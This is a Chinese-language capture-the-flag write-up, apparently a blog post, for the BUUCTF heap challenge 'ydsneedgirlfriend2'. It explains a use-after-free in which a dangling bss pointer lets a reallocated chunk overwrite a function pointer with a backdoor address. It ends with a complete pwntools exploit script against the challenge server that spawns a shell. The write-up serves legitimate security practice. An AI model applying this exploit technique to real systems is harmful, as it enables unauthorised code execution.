buuctf [BJDCTF 2nd]ydsneedgirlfriend2

[BJDCTF 2nd]ydsneedgirlfriend2 一道有手就行的堆题

这道题目的实现过程非常简单易懂,最后的脚本也非常简洁,适合我这样的萌新。

64位程序,拖进ida,看几个主要函数

add函数:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

注意,如果bss段的0x6020a0这里没有内容的话,程序会先申请一个0x10的chunk,用于存放接下来为用户申请的chunk的地址和print girlfriend name函数的地址,可以看到这个函数用处就是输出内容,同时,这个chunk本身的地址会被放在0x6020a0处

接下来,用户输入想要的chunk大小和内容,这样说起来可能有点绕,实际操作一下就好了

以下是执行add函数,输入大小为16,输入内容为"aaaa"后的chunk和bss段的情况:

在这里插入图片描述

这是chunk的情况,0x603010处存放着chunk0的地址,0x603018处存放的是print girlfriend name函数的

地址,0x603020-0x603030处是chunk0的头部,0x603030处即为输入的"aaaa"

在这里插入图片描述

bss段这里,存放的就是0x603010,即chunk00的地址

show函数:

在这里插入图片描述

show函数实现的就是通过0x603018处存的print girlfriend name函数的地址,调用这个函数,输出chunk的内容。这里我们可以利用一下,如果能够把这个地址改成我们想要的地址,再调用show函数,就可以getshell了

dele函数:

在这里插入图片描述

可以看到的就是,这里虽然把两个chunk的free掉了,但是bss段那个指向chunk00的指针并没有置为null,这里就有机会了

把这三个函数的实现写好:

def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

为了进一步探索我们的猜想,把刚刚申请的内容free掉看看

在这里插入图片描述

这个时候,这两个chunk其实都是处于free状态的,这两个chunk是通过单链表的结构来管理的,后free的chunk放在表头,由于chunk00是后free的,所以放在表头,0x603010处存放的数据从0x603030变成了0x603020,即指向chunk0的头部

当我们再次申请时,系统会寻找符合大小的chunk。而如果我们这时要一个0x20大小的chunk,它就会依次寻找,而表头chunk00正好是符合的,我们可以通过这一点控制0x603018处的函数指针

在这里插入图片描述

再看bss段,这个指针依然存在,因此这一次,add函数只会进行一次malloc,我们就可以把0x603018处的指针修改为backdoor函数地址,然后执行show函数,通过bss段存放的指针,就可以实现执行backdoor函数了

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)

这样执行之后,0x603010处是aaaaaaaa,0x603018处是backdoor的地址
完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",29561)
context.log_level='debug'

backdoor=0x400d86
def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/107976481